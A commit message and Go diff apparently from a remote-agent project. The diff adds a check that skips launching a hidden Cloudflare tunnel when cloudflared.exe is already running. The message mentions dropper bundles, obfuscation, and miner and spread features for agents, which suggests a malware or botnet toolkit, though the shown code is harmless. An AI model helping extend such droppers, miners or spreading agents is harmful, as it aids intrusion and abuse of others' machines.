fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

server/internal/cloudflared/launcher_windows.go

@@ -40,6 +40,10 @@ func Start(dataDir, deckRoot, token string) error {
 		log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
 		return nil
 	}
+	if cloudflaredAlreadyRunning() {
+		log.Printf("[tunnel] cloudflared.exe already running externally — skipping duplicate start")
+		return nil
+	}
 
 	cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
 	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
@@ -128,6 +132,14 @@ func ensureBinary(deckRoot string) (string, error) {
 	return bin, nil
 }
 
+func cloudflaredAlreadyRunning() bool {
+	out, err := exec.Command("tasklist", "/FI", "IMAGENAME eq cloudflared.exe", "/NH").Output()
+	if err != nil {
+		return false
+	}
+	return strings.Contains(strings.ToLower(string(out)), "cloudflared.exe")
+}
+
 func trimToken(s string) string {
 	s = strings.TrimSpace(s)
 	if len(s) >= 2 {